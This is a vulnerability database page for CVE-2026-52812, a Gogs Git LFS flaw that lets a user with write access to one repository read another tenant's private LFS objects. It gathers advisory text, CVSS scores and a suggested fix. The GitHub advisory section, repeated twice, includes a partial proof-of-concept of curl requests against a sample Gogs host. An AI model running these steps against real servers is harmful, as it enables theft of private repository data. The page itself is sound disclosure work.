Every CVE Search/ Get API key

CVE-2026-52812

Gogs: LFS dedupe path leaks private repo content across tenants

7.1 HighFix available

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint. This vulnerability is fixed in 0.14.3.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.24%Unchanged since Jun 25, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.1

Gogs: LFS dedupe path leaks private repo content across tenants

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint. This vulnerability is fixed in 0.14.3.

Record
CVE-2026-52812
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
Weakness
CWE-345, CWE-639, CWE-862
Updated
2026-11-02
EUVDEUVD-2026-39083 7.1

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint. This vulnerability is fixed in 0.14.3.

Record
EUVD-2026-39083
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-6p9m-q3jp-47h4 7.1

Gogs: LFS dedupe path leaks private repo content across tenants

Summary

Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.

Details

Dedupe shortcut at internal/lfsx/storage.go:79-82:

if fi, err := os.Stat(fpath); err == nil {
    _, _ = io.Copy(io.Discard, rc)
    return fi.Size(), nil          // ← returns success with no hash check
}

Hash verification at internal/lfsx/storage.go:106-108 only runs in the new-file branch — the dedupe path returns earlier.

serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and inserts the per-repo binding:

_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid)   // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())

CreateLFSObject is an unconditional INSERT on (repo_id, oid) with no check that the OID is referenced by the requesting repo's git history.

serveDownload at internal/route/lfs/basic.go:42-72 only consults the per-repo row, then streams from the shared content-addressed file.

Suggested fix

  1. In LocalStorage.Upload, when os.Stat(fpath) == nil, hash the request body via io.TeeReader and ErrOIDMismatch on disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content.
  2. Optional second layer: in serveUpload, refuse CreateLFSObject unless the OID is referenced by an LFS pointer in the requesting repo's refs.

PoC

Tested against gogs at HEAD d7571322 (also reproduces on v0.14.2, paths are internal/lfsutil/storage.go and identical logic).

Reproduction prerequisites

  • Running gogs ≥ 0.12.0 with [lfs] ENABLED = true.
  • Two accounts: alice (private repo secrets) and bob (any repo bob/scratch); bob has no access to alice/secrets.
  • An OID known to be present in alice/secrets — leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).

Setup (testbed simulation of the victim's prior state)

GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'

VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)

# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID>
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary @- \
  "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"

Attack — bob has only $OID, not $VICTIM_BYTES

unset VICTIM_BYTES   # attacker has no idea what the file contains

# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
  -H 'Accept: application/vnd.git-lfs+json' \
  -H 'Content-Type: application/vnd.git-lfs+json' \
  -X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
  --data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}

# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
#    so LocalStorage.Upload takes the dedupe shortcut: drains the body
#    without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
  -H 'Content-Type:…
Record
GHSA-6p9m-q3jp-47h4
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
Weakness
CWE-345, CWE-639, CWE-862
Updated
2026-11-02
NVD 7.1

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint. This vulnerability is fixed in 0.14.3.

Record
CVE-2026-52812
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-345, CWE-639, CWE-862
Updated
2026-11-02
OSV 7.1

Gogs: LFS dedupe path leaks private repo content across tenants

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint. This vulnerability is fixed in 0.14.3.

Record
CVE-2026-52812
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
Weakness
CWE-345, CWE-639, CWE-862
Updated
2026-11-02
OSVGHSA-6p9m-q3jp-47h4 7.1

Gogs: LFS dedupe path leaks private repo content across tenants

Summary

Git LFS storage is content-addressed by OID alone (<LFS-root>/<oid[0]>/<oid[1]>/<oid>) but per-repo authorization lives in the lfs_object table keyed (repo_id, oid). serveUpload skips re-uploading when the OID file already exists on disk and inserts a new (repo_id, oid) row pointing at it without verifying the request body hashes to the OID being claimed. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.

Details

Dedupe shortcut at internal/lfsx/storage.go:79-82:

if fi, err := os.Stat(fpath); err == nil {
    _, _ = io.Copy(io.Discard, rc)
    return fi.Size(), nil          // ← returns success with no hash check
}

Hash verification at internal/lfsx/storage.go:106-108 only runs in the new-file branch — the dedupe path returns earlier.

serveUpload (internal/route/lfs/basic.go:78-114) trusts that success and inserts the per-repo binding:

_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid)   // per-repo
if err == nil { /* already linked, drain & return 200 */ }
written, err := s.Upload(oid, c.Req.Request.Body)
err = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())

CreateLFSObject is an unconditional INSERT on (repo_id, oid) with no check that the OID is referenced by the requesting repo's git history.

serveDownload at internal/route/lfs/basic.go:42-72 only consults the per-repo row, then streams from the shared content-addressed file.

Suggested fix

  1. In LocalStorage.Upload, when os.Stat(fpath) == nil, hash the request body via io.TeeReader and ErrOIDMismatch on disagreement — same code path as the new-file branch already uses. The "client retries after partial failure" use case still works; the retry just has to send the correct content.
  2. Optional second layer: in serveUpload, refuse CreateLFSObject unless the OID is referenced by an LFS pointer in the requesting repo's refs.

PoC

Tested against gogs at HEAD d7571322 (also reproduces on v0.14.2, paths are internal/lfsutil/storage.go and identical logic).

Reproduction prerequisites

  • Running gogs ≥ 0.12.0 with [lfs] ENABLED = true.
  • Two accounts: alice (private repo secrets) and bob (any repo bob/scratch); bob has no access to alice/secrets.
  • An OID known to be present in alice/secrets — leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).

Setup (testbed simulation of the victim's prior state)

GOGS=https://gogs.example
ALICE_AUTH='-u alice:alice_password'
BOB_AUTH='-u bob:bob_password'

VICTIM_BYTES='victim secret content'
OID=$(printf %s "$VICTIM_BYTES" | sha256sum | cut -d' ' -f1)
SIZE=$(printf %s "$VICTIM_BYTES" | wc -c)

# After this, file lives at <conf.LFS.ObjectsPath>/<OID[0]>/<OID[1]>/<OID>
# and (alice/secrets, OID) row exists in lfs_object.
printf %s "$VICTIM_BYTES" | curl -sS $ALICE_AUTH \
  -H 'Content-Type: application/octet-stream' \
  -X PUT --data-binary @- \
  "$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID"

Attack — bob has only $OID, not $VICTIM_BYTES

unset VICTIM_BYTES   # attacker has no idea what the file contains

# 1. Confirm bob has no claim on $OID.
curl -sS $BOB_AUTH \
  -H 'Accept: application/vnd.git-lfs+json' \
  -H 'Content-Type: application/vnd.git-lfs+json' \
  -X POST "$GOGS/bob/scratch.git/info/lfs/objects/batch" \
  --data "{\"operation\":\"download\",\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → "actions":{"error":{"code":404,"message":"Object does not exist"}}

# 2. PUT garbage to bob's LFS endpoint. The on-disk OID file already exists
#    so LocalStorage.Upload takes the dedupe shortcut: drains the body
#    without hashing, returns alice's size; CreateLFSObject inserts (bob, OID).
curl -sS $BOB_AUTH \
  -H 'Content-Type:…
Record
GHSA-6p9m-q3jp-47h4
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N
Weakness
CWE-345, CWE-639, CWE-862
Updated
2026-11-02
OSVGO-2026-5184 No score

Gogs: LFS dedupe path leaks private repo content across tenants in gogs.io/gogs

Gogs: LFS dedupe path leaks private repo content across tenants in gogs.io/gogs.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: gogs.io/gogs before v0.14.3.

Record
GO-2026-5184
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
gogs.io/gogs
Go
 before 0.14.3
0.14.3
gogs.io/gogs
Go
 All versions None known
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-52812 is a high vulnerability (CVSS 7.1) in Gogs, published June 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.24%, the 14th percentile. Fixed in gogs.io/gogs 0.14.3.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 1,542 references and the rest of 3 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open